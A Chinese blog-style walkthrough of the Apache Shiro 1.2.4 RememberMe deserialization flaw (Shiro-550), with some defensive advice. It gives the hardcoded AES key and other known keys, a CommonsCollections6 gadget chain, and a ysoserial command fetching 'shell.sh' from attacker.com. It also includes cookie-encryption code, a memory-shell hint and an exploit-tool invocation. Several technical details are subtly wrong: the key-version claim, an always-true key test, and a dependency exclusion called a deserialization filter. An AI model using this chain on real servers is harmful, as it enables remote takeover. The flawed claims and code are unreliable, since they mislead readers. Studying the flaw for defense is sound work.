Apache Shiro 1.2.4 反序列化漏洞深度解析:从RememberMe Cookie到RCE的完整攻击链
📅 2026/7/8 20:55:39
👁️ 阅读次数
📝 编程学习
Apache Shiro 1.2.4 反序列化漏洞深度解析:从RememberMe Cookie到RCE的完整攻击链
在Java安全领域,Apache Shiro框架的反序列化漏洞(CVE-2016-4437)堪称经典案例。本文将深入剖析Shiro 1.2.4版本中这个被标记为Shiro-550的漏洞,揭示从RememberMe Cookie构造到最终实现远程代码执行(RCE)的完整技术链条。
1. 漏洞核心原理分析
Shiro的RememberMe功能允许用户在关闭浏览器后仍保持登录状态,其实现机制涉及三个关键环节:
序列化与加密流程
用户登录成功时,Shiro会执行以下操作:// 伪代码展示核心流程 Serializable principal = serialize(userPrincipal); byte[] encrypted = AES.encrypt(principal, DEFAULT_KEY); String cookieValue = Base64.encode(encrypted);硬编码密钥问题
漏洞根源在于AbstractRememberMeManager类中:private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");这个AES密钥被硬编码在框架中,且从1.2.4到1.4.2版本均未改变。
反序列化触发点
当请求携带RememberMe Cookie时,Shiro会逆向执行:Base64解码 -> AES解密 -> 反序列化攻击者只要获取默认密钥,就能构造恶意序列化数据。
关键点:不同于常规反序列化漏洞,Shiro的漏洞利用需要先突破AES加密层,这也是该漏洞长期未被发现的原因。
2. 完整攻击链拆解
2.1 信息收集阶段
攻击者首先需要确认目标系统存在漏洞:
GET /login HTTP/1.1 Host: target.com # 检测响应中是否包含RememberMe字段 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=...2.2 密钥获取与验证
使用公开的默认密钥进行验证:
import base64 from Crypto.Cipher import AES def test_key(key): try: cipher = AES.new(base64.b64decode(key), AES.MODE_CBC) return True except: return False KNOWN_KEYS = [ "kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==" ] valid_keys = [k for k in KNOWN_KEYS if test_key(k)]2.3 恶意Payload构造
典型利用链选择(以CommonsCollections6为例):
| 组件 | 作用 |
|---|---|
| PriorityQueue | 反序列化入口点 |
| TiedMapEntry | 触发Map操作 |
| LazyMap | 延迟执行transform |
| InvokerTransformer | 反射调用危险方法 |
// 简化版Payload生成逻辑 Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", ...), new InvokerTransformer("invoke", ...), new ConstantTransformer(Runtime.class), new InvokerTransformer("exec", ...) }; ChainedTransformer chain = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "exploit"); PriorityQueue queue = new PriorityQueue(2); queue.add(entry); queue.add(entry);2.4 完整攻击流程
- 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com/shell.sh" > payload.bin - 使用Shiro默认密钥加密:
from Crypto.Cipher import AES import uuid def encrypt(key, payload): iv = uuid.uuid4().bytes cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) return base64.b64encode(iv + cipher.encrypt(payload)) - 构造恶意Cookie:
Cookie: rememberMe=ENCRYPTED_PAYLOAD; Path=/;
3. 防御方案对比
| 方案 | 优点 | 缺点 |
|---|---|---|
| 升级到1.7.1+ | 彻底修复,使用随机密钥 | 可能需代码适配 |
| 自定义密钥 | 保持版本兼容性 | 需确保密钥安全 |
| 禁用RememberMe | 完全消除风险 | 牺牲用户体验 |
推荐组合方案:
- 升级到最新稳定版
- 自定义高强度密钥:
@Bean public CookieRememberMeManager rememberMeManager() { CookieRememberMeManager manager = new CookieRememberMeManager(); manager.setCipherKey(generateSecureKey()); return manager; } - 添加反序列化过滤器:
<dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>${shiro.version}</version> <exclusions> <exclusion> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> </exclusion> </exclusions> </dependency>
4. 深度技术剖析
4.1 AES加密模式分析
Shiro使用CBC模式进行加密,其加密结构如下:
| 区块 | 长度 | 说明 |
|---|---|---|
| IV | 16字节 | 随机初始化向量 |
| 密文 | N*16字节 | PKCS7填充的序列化数据 |
加密过程伪代码:
def encrypt(key, plaintext): iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) padded = pad(plaintext, AES.block_size) return iv + cipher.encrypt(padded)4.2 反序列化防御机制绕过
Shiro的反序列化流程存在两个关键弱点:
- 没有对反序列化的类进行白名单校验
- 在
DefaultSerializer.deserialize()中直接调用ObjectInputStream
对比安全实现应包含:
ObjectInputStream ois = new SafeObjectInputStream(byteSource.getInputStream());4.3 攻击链优化技巧
实际渗透测试中需要注意:
- Payload大小限制:Cookie通常有4KB限制,需精简Payload
- 不出网利用:当目标无法外连时,可构造内存马:
// 注册Filter内存马示例 defineClass(evilFilterBytes) addFilter("evilFilter", new EvilFilter()) - 回显处理:通过异常信息或延时判断执行结果
5. 实战检测与验证
使用集成化检测工具验证漏洞:
python shiro_exploit.py -u http://target.com -c "whoami"典型响应特征:
- 有效Payload返回200状态码
- 无效Padding返回
rememberMe=deleteMe的Set-Cookie头
对于防御方,推荐检测方案:
- 流量审计规则:
Set-Cookie.*rememberMe=[^=]{10,};.*(deleteMe|JSESSIONID) - RASP防护点:
// 在ObjectInputStream.resolveClass()处hook if(classname.contains("org.apache.commons.collections")) { throw new SecurityException("Block dangerous deserialization"); }
在真实企业环境中,曾遇到一个典型案例:某金融系统因使用旧版Shiro,攻击者通过该漏洞获取了数据库权限。事后分析发现,系统虽然修改了默认密钥,但密钥被硬编码在源码中并意外泄露到GitHub。这提醒我们密钥管理同样重要,建议采用类似Vault的专用密钥管理系统。
编程学习
技术分享
实战经验